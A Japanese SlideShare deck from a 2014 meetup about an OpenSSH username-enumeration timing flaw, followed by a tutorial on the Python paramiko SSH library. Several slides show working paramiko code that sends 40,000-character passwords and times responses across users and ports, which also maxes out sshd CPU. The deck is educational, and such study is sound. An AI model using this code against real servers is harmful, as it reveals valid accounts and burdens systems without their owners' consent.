SlideShare a Scribd company logo
OpenSSH User
Enumeration
Time-Based Attack
と
Python-paramiko
2014/06/17 #ssmjp @togakushi
2
OSUETA
● OpenSSH のユーザ名列挙脆弱性
● パスワード認証で有効なアカウントの認証エラ
ーに時間がかかる
– OpenSSH-4.2~6.6 で確認
● blog :
https://cureblog.de/2013/07/openssh-user-enumera
● PoC : https://github.com/c0r3dump3d/osueta
2
3
ユーザ名列挙
● 有効なアカウントを調べる手法
– 不正アクセスする際に、無効なアカウントに対して
実行しても無駄
● 認証情報の半分が明らかになるのでよろしくな
いとされる
– 攻撃者には余計な情報は与えない方がよい
● いろんなアプリケーションでおこなえる
4
英語はよくわからんので PoC を見る
● どうやら python-paramiko という便利そうなものを
使っている
● どうやらパスワードに 40000 文字を突っ込んでる
parse.add_argument('-l', action='store', dest='length', default='40',
help='Length of the password in characters (x1000) (default 40).')
length = int(argus.length)*1000
sock.connect((host,int(port)))
para = paramiko.Transport(sock)
para.connect(username=user)
passwd = 'A'*length
para.auth_password(user,passwd)
5
同じことをやってみる
● メッチャ遅い!!
>>> import socket, paramiko
>>> s = socket.create_connection(('192.168.122.225',22))
>>> t = paramiko.Transport(s)
>>> t.connect(username='root')
>>> t.auth_password('root','A'*40000)
Traceback (most recent call last):
  ( 省略 )
AuthenticationException: Authentication failed.
6
同じことをやってみる
● メッチャ早い!!
>>> import socket, paramiko
>>> s = socket.create_connection(('192.168.122.225',22))
>>> t = paramiko.Transport(s)
>>> t.connect(username='hage')
>>> t.auth_password('hage','A'*40000)
Traceback (most recent call last):
  ( 省略 )
AuthenticationException: Authentication failed.
7
副作用
● 40000 文字のパスワードで認証しようとする
と、 sshd の CPU 使用率が 100% になる
8
影響範囲を調べてみたくなった
001: #!/usr/bin/env python
002:
003: import time
004: import paramiko
005:
006: def login(username='root', password='A'*8, port=22):
007: ssh = paramiko.SSHClient()
008: ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
009:
010: s = time.time()
011: try:
012: ssh.connect(hostname='192.168.122.112',
013: port=port,
014: username=username,
015: password=password,
016: allow_agent=False,
017: )
018: except paramiko.AuthenticationException:
019: e = time.time()
9
影響範囲を調べてみたくなった
022:
023: userlist = [
024: 'root', 'hoge', 'fuga'
025: ]
026: ports = [
027: 22,
028: 22421, 22431, 22432, 22441, 22451, 22461, 22471, 22491, 22501,
029: 22511, 22521, 22531, 22541, 22551, 22561, 22571, 22581, 22582,
030: 22591, 22601, 22611, 22621, 22622, 22631, 22641, 22651, 22661,
031: ]
032:
033: for port in ports:
034: for user in userlist:
035: s,e = login(user, 'A'*40000, port)
036: print 'port:%-5d user:%s time:%f' % (port, user, e - s)
037: print '-' * 40
10
なんか
paramiko って
便利そう。
11
paramiko をちゃんと使ってみる
● Python の SSH2 モジュール
– sudo pip install paramiko
– sudo apt-get install python-paramiko
● Python による SSH の実装
12
SSH クライアント
● ホスト公開鍵の取り扱い
– .ssh/known_hosts へ追加するポリシー
>>> import paramiko
>>> ssh = paramiko.SSHClient()
>>> ssh.connect('192.168.122.112')
Traceback (most recent call last):
  ( 省略 )
SSHException: Server '192.168.122.112' not found in known_hosts
>>> ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
>>> ssh.connect('192.168.122.112')
>>>
13
SSH クライアント
● known_hosts を読み込む
>>> import paramiko
>>> ssh = paramiko.SSHClient()
>>> ssh.load_system_host_keys()
>>> ssh.connect('192.168.122.112')
>>>
>>> import paramiko
>>> ssh = paramiko.SSHClient()
>>> ssh.load_host_keys('.ssh/known_hosts')
>>> ssh.connect('192.168.122.112')
>>>
14
ホスト公開鍵の管理
● 追加 / 削除 / チェックなどが可能
...
>>> ssh.connect('192.168.122.112')
>>> keys = ssh.get_host_keys()
>>> keys.items()
[('192.168.122.112', <paramiko.hostkeys.SubDict object at 0x7f8516765810>)]
15
SSH クライアント
● 起動させたシェルの環境変数を自動で読み込む
– カレントユーザ / デフォルトの秘密鍵
– 認証エージェント
– 同じフィンガープリントの鍵がすでに登録されてい
る
> ssh-add -l
2048 e0:e6:03:ff:f7:cd:95:07:11:f8:a9:52:e8:79:e3:de .ssh/id_rsa_root (RSA)
> python
>>> import paramiko
>>> ':'.join(['%02x'%i for i in map(ord, paramiko.Agent().get_keys()[0].get_fingerprint())])
'e0:e6:03:ff:f7:cd:95:07:11:f8:a9:52:e8:79:e3:de'
16
SSH クライアント
● コマンドを実行してみる
>>> import paramiko
>>> ssh = paramiko.SSHClient()
>>> ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
>>> ssh.connect('192.168.122.112')
>>> i, o, e = ssh.exec_command('ls')
>>> o.readlines()
['anaconda-ks.cfgn', 'openssh-servern', 'openssln']
>>> i, o, e = ssh.exec_command('ls2')
>>> o.readlines()
[]
>>> e.readlines()
['bash: ls2: command not foundn']
>>> ssh.close()
17
ハマりポイント
● paramiko が賢すぎる
– SSH のデフォルト値 / 省略時の値
– 優先順序
● スクリプトをコピーしたら動かなくなった
● cron でうまく動かない
● etc...
18
connect で指定できるパラメータ
● hostname (str) – the server to connect to
●
port (int) – the server port to connect to
● username (str) – the username to authenticate as (defaults to the current local username)
●
password (str) – a password to use for authentication or for unlocking a private key
● pkey (.PKey) – an optional private key to use for authentication
●
key_filename (str) – the filename, or list of filenames, of optional private key(s) to try for authentication
● timeout (float) – an optional timeout (in seconds) for the TCP connect
●
allow_agent (bool) – set to False to disable connecting to the SSH agent
● look_for_keys (bool) – set to False to disable searching for discoverable private key files in ~/.ssh/
●
compress (bool) – set to True to turn on compression
● sock (socket) – an open socket or socket-like object (such as a Channel) to use for communication to
the target host
19
SFTP クライアント
● connect してから open_sftp
● SCP クライアントはない
– 別モジュールで提供されている
>>> import paramiko
>>> ssh = paramiko.SSHClient()
>>> ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
>>> ssh.connect('192.168.122.112')
>>> sftp = ssh.open_sftp()
>>> sftp.get(remorefile, localfile)
>>> sftp.close()
>>> ssh.close()
20
指定できるメソッド ( 一部 )
sftp.chdir sftp.chmod sftp.chown sftp.close sftp.file
sftp.get sftp.getcwd sftp.getfo sftp.listdir sftp.logger
sftp.lstat sftp.mkdir sftp.open sftp.put sftp.putfo
sftp.readlink sftp.remove sftp.rename sftp.rmdir sftp.sock
sftp.stat sftp.symlink sftp.truncate sftp.unlink sftp.utime
21
コンフィグファイル
● ファイルオブジェクトを渡せばパースしてくれる
● パースするだけ
● 読み込んで設定なんてしてくれないよ
>>> import paramiko
>>> conf = paramiko.SSHConfig()
>>> conf.parse(open('.ssh/config'))
>>> conf.lookup('kvm01')
{'permitlocalcommand': 'yes', 'gatewayports': 'no', 'serveraliveinterval': '300',
'serveralivecountmax': '3', 'hostname': '192.168.1.11', 'hashknownhosts': 'no',
'escapechar': '?', 'controlpath': '~/tmp/.ssh/ControlMaster-togakushi-192.168.1.11.22',
'tcpkeepalive': 'no', 'controlmaster': 'auto', 'controlpersist': '3'}
22
適当な実装例
● df 叩いてディスク使用率をチェックする
> cat dhchk.py
#!/usr/bin/env python
import re, paramiko
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect('192.168.122.112', username='root', password='password')
i, o, e = ssh.exec_command('df -P')
for line in o.readlines():
r = line.split()
if re.match('^/$', r[5]):
if int(r[4].replace('%', '')) > 50:
print '[Warning capacity over] mounted:%s Used:%s(%s)' %(r[5], r[3], r[4])
> ./dhchk.py
[Warning capacity over] mounted:/ Used:3541196(52%)
23
まとめ
● パスワード認証はオワコン
● paramiko 便利
– 操作対象ホストが少なければぶっちゃけ
「 ssh remotehost command 」でも。。。
24
close()

More Related Content

What's hot

Havana版 RDO-QuickStart-3 (140421-Havana-RDO-QuickStart-3.pdf)
Havana版 RDO-QuickStart-3 (140421-Havana-RDO-QuickStart-3.pdf) Havana版 RDO-QuickStart-3 (140421-Havana-RDO-QuickStart-3.pdf)
Havana版 RDO-QuickStart-3 (140421-Havana-RDO-QuickStart-3.pdf)
VirtualTech Japan Inc.
 
httpd.conf line 1 to 7, 24
httpd.conf line 1 to 7, 24httpd.conf line 1 to 7, 24
httpd.conf line 1 to 7, 24
Naoya Nakazawa
 
Havana版 RDO-QuickStart-4 (140421-Havana-RDO-QuickStart-4.pdf)
Havana版 RDO-QuickStart-4 (140421-Havana-RDO-QuickStart-4.pdf) Havana版 RDO-QuickStart-4 (140421-Havana-RDO-QuickStart-4.pdf)
Havana版 RDO-QuickStart-4 (140421-Havana-RDO-QuickStart-4.pdf)
VirtualTech Japan Inc.
 
hpingで作るパケット
hpingで作るパケットhpingで作るパケット
hpingで作るパケット
Takaaki Hoyo
 
誰得コマンド&オプション35連発
誰得コマンド&オプション35連発誰得コマンド&オプション35連発
誰得コマンド&オプション35連発
Yozo SATO
 
#logstudy 01 rsyslog入門
#logstudy 01 rsyslog入門#logstudy 01 rsyslog入門
#logstudy 01 rsyslog入門
Takashi Takizawa
 
SSH Tips & Tricks
SSH Tips & TricksSSH Tips & Tricks
SSH Tips & Tricks
Nobutoshi Ogata
 
VPS借りたけどセキュリティが心配! 初心者が気をつけたいセキュリティの話
VPS借りたけどセキュリティが心配! 初心者が気をつけたいセキュリティの話VPS借りたけどセキュリティが心配! 初心者が気をつけたいセキュリティの話
VPS借りたけどセキュリティが心配! 初心者が気をつけたいセキュリティの話
Takashi Uemura
 
さくらのVPSに来た攻撃観察記
さくらのVPSに来た攻撃観察記さくらのVPSに来た攻撃観察記
さくらのVPSに来た攻撃観察記
ozuma5119
 
the study of monit
the study of monitthe study of monit
the study of monit
Tadayasu Yotsu
 
さくらのVPSに来る悪い人を観察する その2
さくらのVPSに来る悪い人を観察する その2さくらのVPSに来る悪い人を観察する その2
さくらのVPSに来る悪い人を観察する その2
ozuma5119
 
Lagopus 0.2.2
Lagopus 0.2.2Lagopus 0.2.2
Lagopus 0.2.2
Masaru Oki
 
ConfD で Linux にNetconfを喋らせてみた
ConfD で Linux にNetconfを喋らせてみたConfD で Linux にNetconfを喋らせてみた
ConfD で Linux にNetconfを喋らせてみた
Akira Iwamoto
 
initとプロセス再起動
initとプロセス再起動initとプロセス再起動
initとプロセス再起動Takashi Takizawa
 
Havana版 RDO-QuickStart-2 (140421-Havana-RDO-QuickStart-2.pdf)
Havana版 RDO-QuickStart-2 (140421-Havana-RDO-QuickStart-2.pdf) Havana版 RDO-QuickStart-2 (140421-Havana-RDO-QuickStart-2.pdf)
Havana版 RDO-QuickStart-2 (140421-Havana-RDO-QuickStart-2.pdf)
VirtualTech Japan Inc.
 
Lagopus 0.2
Lagopus 0.2Lagopus 0.2
Lagopus 0.2
Masaru Oki
 
Open vSwitchソースコードの全体像
Open vSwitchソースコードの全体像 Open vSwitchソースコードの全体像
Open vSwitchソースコードの全体像 Sho Shimizu
 
about Tcpreplay
about Tcpreplayabout Tcpreplay
about Tcpreplay
@ otsuka752
 
pipework - Advanced Docker Networking
pipework - Advanced Docker Networkingpipework - Advanced Docker Networking
pipework - Advanced Docker Networking
saba syake
 
Trema での Open vSwitch
Trema での Open vSwitchTrema での Open vSwitch
Trema での Open vSwitchkazuyas
 

What's hot (20)

Havana版 RDO-QuickStart-3 (140421-Havana-RDO-QuickStart-3.pdf)
Havana版 RDO-QuickStart-3 (140421-Havana-RDO-QuickStart-3.pdf) Havana版 RDO-QuickStart-3 (140421-Havana-RDO-QuickStart-3.pdf)
Havana版 RDO-QuickStart-3 (140421-Havana-RDO-QuickStart-3.pdf)
 
httpd.conf line 1 to 7, 24
httpd.conf line 1 to 7, 24httpd.conf line 1 to 7, 24
httpd.conf line 1 to 7, 24
 
Havana版 RDO-QuickStart-4 (140421-Havana-RDO-QuickStart-4.pdf)
Havana版 RDO-QuickStart-4 (140421-Havana-RDO-QuickStart-4.pdf) Havana版 RDO-QuickStart-4 (140421-Havana-RDO-QuickStart-4.pdf)
Havana版 RDO-QuickStart-4 (140421-Havana-RDO-QuickStart-4.pdf)
 
hpingで作るパケット
hpingで作るパケットhpingで作るパケット
hpingで作るパケット
 
誰得コマンド&オプション35連発
誰得コマンド&オプション35連発誰得コマンド&オプション35連発
誰得コマンド&オプション35連発
 
#logstudy 01 rsyslog入門
#logstudy 01 rsyslog入門#logstudy 01 rsyslog入門
#logstudy 01 rsyslog入門
 
SSH Tips & Tricks
SSH Tips & TricksSSH Tips & Tricks
SSH Tips & Tricks
 
VPS借りたけどセキュリティが心配! 初心者が気をつけたいセキュリティの話
VPS借りたけどセキュリティが心配! 初心者が気をつけたいセキュリティの話VPS借りたけどセキュリティが心配! 初心者が気をつけたいセキュリティの話
VPS借りたけどセキュリティが心配! 初心者が気をつけたいセキュリティの話
 
さくらのVPSに来た攻撃観察記
さくらのVPSに来た攻撃観察記さくらのVPSに来た攻撃観察記
さくらのVPSに来た攻撃観察記
 
the study of monit
the study of monitthe study of monit
the study of monit
 
さくらのVPSに来る悪い人を観察する その2
さくらのVPSに来る悪い人を観察する その2さくらのVPSに来る悪い人を観察する その2
さくらのVPSに来る悪い人を観察する その2
 
Lagopus 0.2.2
Lagopus 0.2.2Lagopus 0.2.2
Lagopus 0.2.2
 
ConfD で Linux にNetconfを喋らせてみた
ConfD で Linux にNetconfを喋らせてみたConfD で Linux にNetconfを喋らせてみた
ConfD で Linux にNetconfを喋らせてみた
 
initとプロセス再起動
initとプロセス再起動initとプロセス再起動
initとプロセス再起動
 
Havana版 RDO-QuickStart-2 (140421-Havana-RDO-QuickStart-2.pdf)
Havana版 RDO-QuickStart-2 (140421-Havana-RDO-QuickStart-2.pdf) Havana版 RDO-QuickStart-2 (140421-Havana-RDO-QuickStart-2.pdf)
Havana版 RDO-QuickStart-2 (140421-Havana-RDO-QuickStart-2.pdf)
 
Lagopus 0.2
Lagopus 0.2Lagopus 0.2
Lagopus 0.2
 
Open vSwitchソースコードの全体像
Open vSwitchソースコードの全体像 Open vSwitchソースコードの全体像
Open vSwitchソースコードの全体像
 
about Tcpreplay
about Tcpreplayabout Tcpreplay
about Tcpreplay
 
pipework - Advanced Docker Networking
pipework - Advanced Docker Networkingpipework - Advanced Docker Networking
pipework - Advanced Docker Networking
 
Trema での Open vSwitch
Trema での Open vSwitchTrema での Open vSwitch
Trema での Open vSwitch
 

Similar to OpenSSH User EnumerationTime-Based Attack と Python-paramiko

効率アップのためのコマンドとツール
効率アップのためのコマンドとツール効率アップのためのコマンドとツール
効率アップのためのコマンドとツール
Yosuke INOUE
 
Raspberry Pi 2 誤自宅サーバー移行日記
Raspberry Pi 2 誤自宅サーバー移行日記Raspberry Pi 2 誤自宅サーバー移行日記
Raspberry Pi 2 誤自宅サーバー移行日記
96smcln
 
How to apt-get from the internal network: remote sshd with kneesocks
How to apt-get from the internal network: remote sshd with kneesocksHow to apt-get from the internal network: remote sshd with kneesocks
How to apt-get from the internal network: remote sshd with kneesocks
inaz2
 
社内向けTech Talk資料~Fluentdの基本紹介~
社内向けTech Talk資料~Fluentdの基本紹介~ 社内向けTech Talk資料~Fluentdの基本紹介~
社内向けTech Talk資料~Fluentdの基本紹介~
Daisuke Ikeda
 
サーバー実装いろいろ
サーバー実装いろいろサーバー実装いろいろ
サーバー実装いろいろkjwtnb
 
Dockerイメージ構築 実践テクニック
Dockerイメージ構築 実践テクニックDockerイメージ構築 実践テクニック
Dockerイメージ構築 実践テクニック
Emma Haruka Iwao
 
MacPort_&_FTP_ver1.0
MacPort_&_FTP_ver1.0MacPort_&_FTP_ver1.0
MacPort_&_FTP_ver1.0Satoshi Kume
 
マルチプラットホームになった PowerShell 6 でクロスプラットホームする
マルチプラットホームになった PowerShell 6 でクロスプラットホームするマルチプラットホームになった PowerShell 6 でクロスプラットホームする
マルチプラットホームになった PowerShell 6 でクロスプラットホームする
Syuichi Murashima
 
マルチプラットホームになった PowerShell 6 でクロスプラットホームする
マルチプラットホームになった PowerShell 6 でクロスプラットホームするマルチプラットホームになった PowerShell 6 でクロスプラットホームする
マルチプラットホームになった PowerShell 6 でクロスプラットホームする
Syuichi Murashima
 
はじめてのWebサーバ構築 さくらvps
はじめてのWebサーバ構築 さくらvpsはじめてのWebサーバ構築 さくらvps
はじめてのWebサーバ構築 さくらvps
Atsuhiro Takiguchi
 
おしべめしべ
おしべめしべおしべめしべ
おしべめしべ
puriketu99 --
 
PHP と SAPI と ZendEngine3 と
PHP と SAPI と ZendEngine3 とPHP と SAPI と ZendEngine3 と
PHP と SAPI と ZendEngine3 と
do_aki
 
後期02
後期02後期02
Tottoruby 20110903
Tottoruby 20110903Tottoruby 20110903
Tottoruby 20110903
Takashi SAKAGUCHI
 
Hive undocumented feature
Hive undocumented featureHive undocumented feature
Hive undocumented featuretamtam180
 
Ruby Postgres 2009
Ruby Postgres 2009Ruby Postgres 2009
Ruby Postgres 2009Akio Ishida
 
Ansible2.0と実用例
Ansible2.0と実用例Ansible2.0と実用例
Ansible2.0と実用例
OSSラボ株式会社
 
Dockerと継続的インテグレーション
Dockerと継続的インテグレーションDockerと継続的インテグレーション
Dockerと継続的インテグレーション
Yahoo!デベロッパーネットワーク
 

Similar to OpenSSH User EnumerationTime-Based Attack と Python-paramiko (20)

効率アップのためのコマンドとツール
効率アップのためのコマンドとツール効率アップのためのコマンドとツール
効率アップのためのコマンドとツール
 
Raspberry Pi 2 誤自宅サーバー移行日記
Raspberry Pi 2 誤自宅サーバー移行日記Raspberry Pi 2 誤自宅サーバー移行日記
Raspberry Pi 2 誤自宅サーバー移行日記
 
How to apt-get from the internal network: remote sshd with kneesocks
How to apt-get from the internal network: remote sshd with kneesocksHow to apt-get from the internal network: remote sshd with kneesocks
How to apt-get from the internal network: remote sshd with kneesocks
 
社内向けTech Talk資料~Fluentdの基本紹介~
社内向けTech Talk資料~Fluentdの基本紹介~ 社内向けTech Talk資料~Fluentdの基本紹介~
社内向けTech Talk資料~Fluentdの基本紹介~
 
サーバー実装いろいろ
サーバー実装いろいろサーバー実装いろいろ
サーバー実装いろいろ
 
Dockerイメージ構築 実践テクニック
Dockerイメージ構築 実践テクニックDockerイメージ構築 実践テクニック
Dockerイメージ構築 実践テクニック
 
MacPort_&_FTP_ver1.0
MacPort_&_FTP_ver1.0MacPort_&_FTP_ver1.0
MacPort_&_FTP_ver1.0
 
マルチプラットホームになった PowerShell 6 でクロスプラットホームする
マルチプラットホームになった PowerShell 6 でクロスプラットホームするマルチプラットホームになった PowerShell 6 でクロスプラットホームする
マルチプラットホームになった PowerShell 6 でクロスプラットホームする
 
マルチプラットホームになった PowerShell 6 でクロスプラットホームする
マルチプラットホームになった PowerShell 6 でクロスプラットホームするマルチプラットホームになった PowerShell 6 でクロスプラットホームする
マルチプラットホームになった PowerShell 6 でクロスプラットホームする
 
はじめてのWebサーバ構築 さくらvps
はじめてのWebサーバ構築 さくらvpsはじめてのWebサーバ構築 さくらvps
はじめてのWebサーバ構築 さくらvps
 
おしべめしべ
おしべめしべおしべめしべ
おしべめしべ
 
PHP と SAPI と ZendEngine3 と
PHP と SAPI と ZendEngine3 とPHP と SAPI と ZendEngine3 と
PHP と SAPI と ZendEngine3 と
 
後期02
後期02後期02
後期02
 
Monit
MonitMonit
Monit
 
Nginx
NginxNginx
Nginx
 
Tottoruby 20110903
Tottoruby 20110903Tottoruby 20110903
Tottoruby 20110903
 
Hive undocumented feature
Hive undocumented featureHive undocumented feature
Hive undocumented feature
 
Ruby Postgres 2009
Ruby Postgres 2009Ruby Postgres 2009
Ruby Postgres 2009
 
Ansible2.0と実用例
Ansible2.0と実用例Ansible2.0と実用例
Ansible2.0と実用例
 
Dockerと継続的インテグレーション
Dockerと継続的インテグレーションDockerと継続的インテグレーション
Dockerと継続的インテグレーション
 

More from (^-^) togakushi

ささみ麻雀部の紹介
ささみ麻雀部の紹介ささみ麻雀部の紹介
ささみ麻雀部の紹介
(^-^) togakushi
 
ファイナル・ファンタジー2のデータを解析してみる
ファイナル・ファンタジー2のデータを解析してみるファイナル・ファンタジー2のデータを解析してみる
ファイナル・ファンタジー2のデータを解析してみる
(^-^) togakushi
 
手順書の話 Ver.0.3.0
手順書の話 Ver.0.3.0手順書の話 Ver.0.3.0
手順書の話 Ver.0.3.0
(^-^) togakushi
 
仕事の捉え方の話 #ssmjp
仕事の捉え方の話 #ssmjp仕事の捉え方の話 #ssmjp
仕事の捉え方の話 #ssmjp
(^-^) togakushi
 
tcpdumpとtcpreplayとtcprewriteと他。
tcpdumpとtcpreplayとtcprewriteと他。tcpdumpとtcpreplayとtcprewriteと他。
tcpdumpとtcpreplayとtcprewriteと他。(^-^) togakushi
 
Pakena #9
Pakena #9Pakena #9
Pakena #9
(^-^) togakushi
 
ひとりsphinx
ひとりsphinxひとりsphinx
ひとりsphinx
(^-^) togakushi
 

More from (^-^) togakushi (10)

ささみ麻雀部の紹介
ささみ麻雀部の紹介ささみ麻雀部の紹介
ささみ麻雀部の紹介
 
ファイナル・ファンタジー2のデータを解析してみる
ファイナル・ファンタジー2のデータを解析してみるファイナル・ファンタジー2のデータを解析してみる
ファイナル・ファンタジー2のデータを解析してみる
 
手順書の話 Ver.0.3.0
手順書の話 Ver.0.3.0手順書の話 Ver.0.3.0
手順書の話 Ver.0.3.0
 
仕事の捉え方の話 #ssmjp
仕事の捉え方の話 #ssmjp仕事の捉え方の話 #ssmjp
仕事の捉え方の話 #ssmjp
 
tcpdumpとtcpreplayとtcprewriteと他。
tcpdumpとtcpreplayとtcprewriteと他。tcpdumpとtcpreplayとtcprewriteと他。
tcpdumpとtcpreplayとtcprewriteと他。
 
KVM+cgroup
KVM+cgroupKVM+cgroup
KVM+cgroup
 
jenkinsで遊ぶ
jenkinsで遊ぶjenkinsで遊ぶ
jenkinsで遊ぶ
 
Pakena #9
Pakena #9Pakena #9
Pakena #9
 
Sfstudy #2
Sfstudy #2Sfstudy #2
Sfstudy #2
 
ひとりsphinx
ひとりsphinxひとりsphinx
ひとりsphinx
 

Recently uploaded

TaketoFujikawa_物語のコンセプトに基づく情報アクセス手法の基礎検討_JSAI2024
TaketoFujikawa_物語のコンセプトに基づく情報アクセス手法の基礎検討_JSAI2024TaketoFujikawa_物語のコンセプトに基づく情報アクセス手法の基礎検討_JSAI2024
TaketoFujikawa_物語のコンセプトに基づく情報アクセス手法の基礎検討_JSAI2024
Matsushita Laboratory
 
【DLゼミ】XFeat: Accelerated Features for Lightweight Image Matching
【DLゼミ】XFeat: Accelerated Features for Lightweight Image Matching【DLゼミ】XFeat: Accelerated Features for Lightweight Image Matching
【DLゼミ】XFeat: Accelerated Features for Lightweight Image Matching
harmonylab
 
2024年度_サイバーエージェント_新卒研修「データベースの歴史」.pptx
2024年度_サイバーエージェント_新卒研修「データベースの歴史」.pptx2024年度_サイバーエージェント_新卒研修「データベースの歴史」.pptx
2024年度_サイバーエージェント_新卒研修「データベースの歴史」.pptx
yassun7010
 
FIDO Alliance Osaka Seminar: Welcome Slides.pdf
FIDO Alliance Osaka Seminar: Welcome Slides.pdfFIDO Alliance Osaka Seminar: Welcome Slides.pdf
FIDO Alliance Osaka Seminar: Welcome Slides.pdf
FIDO Alliance
 
MPAなWebフレームワーク、Astroの紹介 (その2) 2024/05/24の勉強会で発表されたものです。
MPAなWebフレームワーク、Astroの紹介 (その2) 2024/05/24の勉強会で発表されたものです。MPAなWebフレームワーク、Astroの紹介 (その2) 2024/05/24の勉強会で発表されたものです。
MPAなWebフレームワーク、Astroの紹介 (その2) 2024/05/24の勉強会で発表されたものです。
iPride Co., Ltd.
 
FIDO Alliance Osaka Seminar: CloudGate.pdf
FIDO Alliance Osaka Seminar: CloudGate.pdfFIDO Alliance Osaka Seminar: CloudGate.pdf
FIDO Alliance Osaka Seminar: CloudGate.pdf
FIDO Alliance
 
FIDO Alliance Osaka Seminar: NEC & Yubico Panel.pdf
FIDO Alliance Osaka Seminar: NEC & Yubico Panel.pdfFIDO Alliance Osaka Seminar: NEC & Yubico Panel.pdf
FIDO Alliance Osaka Seminar: NEC & Yubico Panel.pdf
FIDO Alliance
 
単腕マニピュレータによる 複数物体の同時組み立ての 基礎的考察 / Basic Approach to Robotic Assembly of Multi...
単腕マニピュレータによる 複数物体の同時組み立ての 基礎的考察 / Basic Approach to Robotic Assembly of Multi...単腕マニピュレータによる 複数物体の同時組み立ての 基礎的考察 / Basic Approach to Robotic Assembly of Multi...
単腕マニピュレータによる 複数物体の同時組み立ての 基礎的考察 / Basic Approach to Robotic Assembly of Multi...
Fukuoka Institute of Technology
 
FIDO Alliance Osaka Seminar: PlayStation Passkey Deployment Case Study.pdf
FIDO Alliance Osaka Seminar: PlayStation Passkey Deployment Case Study.pdfFIDO Alliance Osaka Seminar: PlayStation Passkey Deployment Case Study.pdf
FIDO Alliance Osaka Seminar: PlayStation Passkey Deployment Case Study.pdf
FIDO Alliance
 
【AI論文解説】Consistency ModelとRectified Flow
【AI論文解説】Consistency ModelとRectified Flow【AI論文解説】Consistency ModelとRectified Flow
【AI論文解説】Consistency ModelとRectified Flow
Sony - Neural Network Libraries
 
論文紹介:When Visual Prompt Tuning Meets Source-Free Domain Adaptive Semantic Seg...
論文紹介:When Visual Prompt Tuning Meets Source-Free Domain Adaptive Semantic Seg...論文紹介:When Visual Prompt Tuning Meets Source-Free Domain Adaptive Semantic Seg...
論文紹介:When Visual Prompt Tuning Meets Source-Free Domain Adaptive Semantic Seg...
Toru Tamaki
 
YugabyteDB適用に向けた取り組みと隠れた魅力 (DSS Asia 2024 発表資料)
YugabyteDB適用に向けた取り組みと隠れた魅力 (DSS Asia 2024 発表資料)YugabyteDB適用に向けた取り組みと隠れた魅力 (DSS Asia 2024 発表資料)
YugabyteDB適用に向けた取り組みと隠れた魅力 (DSS Asia 2024 発表資料)
NTT DATA Technology & Innovation
 
FIDO Alliance Osaka Seminar: LY-DOCOMO-KDDI-Mercari Panel.pdf
FIDO Alliance Osaka Seminar: LY-DOCOMO-KDDI-Mercari Panel.pdfFIDO Alliance Osaka Seminar: LY-DOCOMO-KDDI-Mercari Panel.pdf
FIDO Alliance Osaka Seminar: LY-DOCOMO-KDDI-Mercari Panel.pdf
FIDO Alliance
 
CS集会#13_なるほどわからん通信技術 発表資料
CS集会#13_なるほどわからん通信技術 発表資料CS集会#13_なるほどわからん通信技術 発表資料
CS集会#13_なるほどわからん通信技術 発表資料
Yuuitirou528 default
 
LoRaWAN 4チャンネル電流センサー・コンバーター CS01-LBカタログ
LoRaWAN 4チャンネル電流センサー・コンバーター CS01-LBカタログLoRaWAN 4チャンネル電流センサー・コンバーター CS01-LBカタログ
LoRaWAN 4チャンネル電流センサー・コンバーター CS01-LBカタログ
CRI Japan, Inc.
 

Recently uploaded (15)

TaketoFujikawa_物語のコンセプトに基づく情報アクセス手法の基礎検討_JSAI2024
TaketoFujikawa_物語のコンセプトに基づく情報アクセス手法の基礎検討_JSAI2024TaketoFujikawa_物語のコンセプトに基づく情報アクセス手法の基礎検討_JSAI2024
TaketoFujikawa_物語のコンセプトに基づく情報アクセス手法の基礎検討_JSAI2024
 
【DLゼミ】XFeat: Accelerated Features for Lightweight Image Matching
【DLゼミ】XFeat: Accelerated Features for Lightweight Image Matching【DLゼミ】XFeat: Accelerated Features for Lightweight Image Matching
【DLゼミ】XFeat: Accelerated Features for Lightweight Image Matching
 
2024年度_サイバーエージェント_新卒研修「データベースの歴史」.pptx
2024年度_サイバーエージェント_新卒研修「データベースの歴史」.pptx2024年度_サイバーエージェント_新卒研修「データベースの歴史」.pptx
2024年度_サイバーエージェント_新卒研修「データベースの歴史」.pptx
 
FIDO Alliance Osaka Seminar: Welcome Slides.pdf
FIDO Alliance Osaka Seminar: Welcome Slides.pdfFIDO Alliance Osaka Seminar: Welcome Slides.pdf
FIDO Alliance Osaka Seminar: Welcome Slides.pdf
 
MPAなWebフレームワーク、Astroの紹介 (その2) 2024/05/24の勉強会で発表されたものです。
MPAなWebフレームワーク、Astroの紹介 (その2) 2024/05/24の勉強会で発表されたものです。MPAなWebフレームワーク、Astroの紹介 (その2) 2024/05/24の勉強会で発表されたものです。
MPAなWebフレームワーク、Astroの紹介 (その2) 2024/05/24の勉強会で発表されたものです。
 
FIDO Alliance Osaka Seminar: CloudGate.pdf
FIDO Alliance Osaka Seminar: CloudGate.pdfFIDO Alliance Osaka Seminar: CloudGate.pdf
FIDO Alliance Osaka Seminar: CloudGate.pdf
 
FIDO Alliance Osaka Seminar: NEC & Yubico Panel.pdf
FIDO Alliance Osaka Seminar: NEC & Yubico Panel.pdfFIDO Alliance Osaka Seminar: NEC & Yubico Panel.pdf
FIDO Alliance Osaka Seminar: NEC & Yubico Panel.pdf
 
単腕マニピュレータによる 複数物体の同時組み立ての 基礎的考察 / Basic Approach to Robotic Assembly of Multi...
単腕マニピュレータによる 複数物体の同時組み立ての 基礎的考察 / Basic Approach to Robotic Assembly of Multi...単腕マニピュレータによる 複数物体の同時組み立ての 基礎的考察 / Basic Approach to Robotic Assembly of Multi...
単腕マニピュレータによる 複数物体の同時組み立ての 基礎的考察 / Basic Approach to Robotic Assembly of Multi...
 
FIDO Alliance Osaka Seminar: PlayStation Passkey Deployment Case Study.pdf
FIDO Alliance Osaka Seminar: PlayStation Passkey Deployment Case Study.pdfFIDO Alliance Osaka Seminar: PlayStation Passkey Deployment Case Study.pdf
FIDO Alliance Osaka Seminar: PlayStation Passkey Deployment Case Study.pdf
 
【AI論文解説】Consistency ModelとRectified Flow
【AI論文解説】Consistency ModelとRectified Flow【AI論文解説】Consistency ModelとRectified Flow
【AI論文解説】Consistency ModelとRectified Flow
 
論文紹介:When Visual Prompt Tuning Meets Source-Free Domain Adaptive Semantic Seg...
論文紹介:When Visual Prompt Tuning Meets Source-Free Domain Adaptive Semantic Seg...論文紹介:When Visual Prompt Tuning Meets Source-Free Domain Adaptive Semantic Seg...
